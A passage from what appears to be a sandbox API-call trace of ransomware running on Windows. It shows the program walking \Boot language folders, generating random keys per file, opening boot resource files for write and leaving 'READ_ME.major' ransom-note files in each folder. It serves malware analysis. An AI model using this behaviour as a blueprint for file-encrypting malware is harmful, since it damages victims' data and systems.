ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.560] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0143.560] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0143.560] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.560] SetFileAttributesW (lpFileName="\\Boot\\ko-KR\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0143.560] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0143.560] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.560] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0143.560] CreateFileW (lpFileName="\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.560] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.560] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0143.560] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0143.560] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0143.560] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0143.560] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdc8 [0143.560] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.560] SetFileAttributesW (lpFileName="\\Boot\\ko-KR\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.560] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0143.560] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.560] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0143.560] CreateFileW (lpFileName="\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.560] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.560] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdc8 | out: hHeap=0x570000) returned 1 [0143.561] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0143.561] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0143.561] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0143.561] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0143.561] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e2c8 | out: hHeap=0x570000) returned 1 [0143.561] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e4a8 | out: hHeap=0x570000) returned 1 [0143.561] FindFirstFileW (in: lpFileName="\\Boot\\lt-LT\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f228 [0143.561] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0143.561] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0143.561] GetLastError () returned 0x5 [0143.561] SetLastError (dwErrCode=0x5) [0143.561] GetLastError () returned 0x5 [0143.561] SetLastError (dwErrCode=0x5) [0143.561] GetLastError () returned 0x5 [0143.561] SetLastError (dwErrCode=0x5) [0143.561] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58edd0 [0143.561] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.561] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.561] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0143.561] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f7a8 [0143.561] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f7a8 | out: hHeap=0x570000) returned 1 [0143.561] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40468 [0143.561] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40468 | out: hHeap=0x570000) returned 1 [0143.561] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0143.561] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58edd0 | out: hHeap=0x570000) returned 1 [0143.561] FindNextFileW (in: hFindFile=0x60f228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.561] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0143.561] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0143.561] GetLastError () returned 0x5 [0143.561] SetLastError (dwErrCode=0x5) [0143.561] GetLastError () returned 0x5 [0143.561] SetLastError (dwErrCode=0x5) [0143.561] GetLastError () returned 0x5 [0143.561] SetLastError (dwErrCode=0x5) [0143.561] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0143.562] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0143.562] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0143.562] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccee0 [0143.562] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f6a8 [0143.562] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f6a8 | out: hHeap=0x570000) returned 1 [0143.562] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40570 [0143.562] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40570 | out: hHeap=0x570000) returned 1 [0143.562] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccee0 | out: hHeap=0x570000) returned 1 [0143.562] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0143.562] FindNextFileW (in: hFindFile=0x60f228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.562] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0143.562] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0143.562] GetLastError () returned 0x5 [0143.562] SetLastError (dwErrCode=0x5) [0143.562] GetLastError () returned 0x5 [0143.562] SetLastError (dwErrCode=0x5) [0143.562] GetLastError () returned 0x5 [0143.562] SetLastError (dwErrCode=0x5) [0143.562] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0143.562] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0143.562] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0143.562] FindNextFileW (in: hFindFile=0x60f228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x813254e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x813254e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.562] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0143.562] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0143.562] GetLastError () returned 0x5 [0143.562] SetLastError (dwErrCode=0x5) [0143.562] GetLastError () returned 0x5 [0143.562] SetLastError (dwErrCode=0x5) [0143.562] GetLastError () returned 0x5 [0143.563] SetLastError (dwErrCode=0x5) [0143.563] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce18 [0143.563] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce18 | out: hHeap=0x570000) returned 1 [0143.563] FindNextFileW (in: hFindFile=0x60f228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x813254e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x813254e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.563] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0143.563] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0143.563] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.563] SetFileAttributesW (lpFileName="\\Boot\\lt-LT\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.563] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77f8 [0143.563] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.563] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77f8 | out: hHeap=0x570000) returned 1 [0143.563] CreateFileW (lpFileName="\\Boot\\lt-LT\\bootmgr.exe.mui" (normalized: "c:\\boot\\lt-lt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.563] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.563] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0143.563] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0143.563] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0143.563] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0143.563] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0143.563] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e110 | out: hHeap=0x570000) returned 1 [0143.563] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e318 | out: hHeap=0x570000) returned 1 [0143.563] FindFirstFileW (in: lpFileName="\\Boot\\lv-LV\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f4a8 [0143.564] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0143.564] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0143.564] GetLastError () returned 0x5 [0143.564] SetLastError (dwErrCode=0x5) [0143.564] GetLastError () returned 0x5 [0143.564] SetLastError (dwErrCode=0x5) [0143.564] GetLastError () returned 0x5 [0143.564] SetLastError (dwErrCode=0x5) [0143.564] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0143.564] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee18 [0143.564] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0143.564] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0143.564] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f628 [0143.564] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f628 | out: hHeap=0x570000) returned 1 [0143.564] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0143.564] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0143.564] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0143.564] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0143.564] FindNextFileW (in: hFindFile=0x60f4a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.565] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0143.565] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0143.565] GetLastError () returned 0x5 [0143.565] SetLastError (dwErrCode=0x5) [0143.565] GetLastError () returned 0x5 [0143.565] SetLastError (dwErrCode=0x5) [0143.565] GetLastError () returned 0x5 [0143.565] SetLastError (dwErrCode=0x5) [0143.565] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0143.565] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee18 [0143.565] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0143.565] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0143.565] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f6a8 [0143.565] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f6a8 | out: hHeap=0x570000) returned 1 [0143.565] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403d8 [0143.565] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403d8 | out: hHeap=0x570000) returned 1 [0143.565] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0143.565] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0143.565] FindNextFileW (in: hFindFile=0x60f4a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.565] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0143.565] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0143.565] GetLastError () returned 0x5 [0143.565] SetLastError (dwErrCode=0x5) [0143.565] GetLastError () returned 0x5 [0143.565] SetLastError (dwErrCode=0x5) [0143.565] GetLastError () returned 0x5 [0143.565] SetLastError (dwErrCode=0x5) [0143.565] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0143.565] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0143.566] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0143.566] FindNextFileW (in: hFindFile=0x60f4a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x813254e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x813254e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.566] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0143.566] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0143.566] GetLastError () returned 0x5 [0143.566] SetLastError (dwErrCode=0x5) [0143.566] GetLastError () returned 0x5 [0143.566] SetLastError (dwErrCode=0x5) [0143.566] GetLastError () returned 0x5 [0143.566] SetLastError (dwErrCode=0x5) [0143.566] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd50 [0143.566] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd50 | out: hHeap=0x570000) returned 1 [0143.566] FindNextFileW (in: hFindFile=0x60f4a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x813254e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x813254e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.566] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0143.566] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0143.566] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.566] SetFileAttributesW (lpFileName="\\Boot\\lv-LV\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.566] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0143.566] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.566] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0143.566] CreateFileW (lpFileName="\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.567] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.567] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0143.567] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0143.567] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0143.567] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd50 [0143.567] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0143.567] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e340 | out: hHeap=0x570000) returned 1 [0143.567] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e520 | out: hHeap=0x570000) returned 1 [0143.567] FindFirstFileW (in: lpFileName="\\Boot\\nb-NO\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f4e8 [0143.567] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0143.567] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0143.567] GetLastError () returned 0x5 [0143.567] SetLastError (dwErrCode=0x5) [0143.567] GetLastError () returned 0x5 [0143.567] SetLastError (dwErrCode=0x5) [0143.567] GetLastError () returned 0x5 [0143.567] SetLastError (dwErrCode=0x5) [0143.567] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0143.567] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0143.567] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0143.567] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0143.567] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f3e8 [0143.567] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f3e8 | out: hHeap=0x570000) returned 1 [0143.567] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40660 [0143.567] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0143.567] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0143.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0143.568] FindNextFileW (in: hFindFile=0x60f4e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x813254e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0143.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0143.568] GetLastError () returned 0x5 [0143.568] SetLastError (dwErrCode=0x5) [0143.568] GetLastError () returned 0x5 [0143.568] SetLastError (dwErrCode=0x5) [0143.568] GetLastError () returned 0x5 [0143.568] SetLastError (dwErrCode=0x5) [0143.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0143.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccfa8 [0143.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f6a8 [0143.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f6a8 | out: hHeap=0x570000) returned 1 [0143.568] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40450 [0143.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40450 | out: hHeap=0x570000) returned 1 [0143.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccfa8 | out: hHeap=0x570000) returned 1 [0143.568] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0143.568] FindNextFileW (in: hFindFile=0x60f4e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, 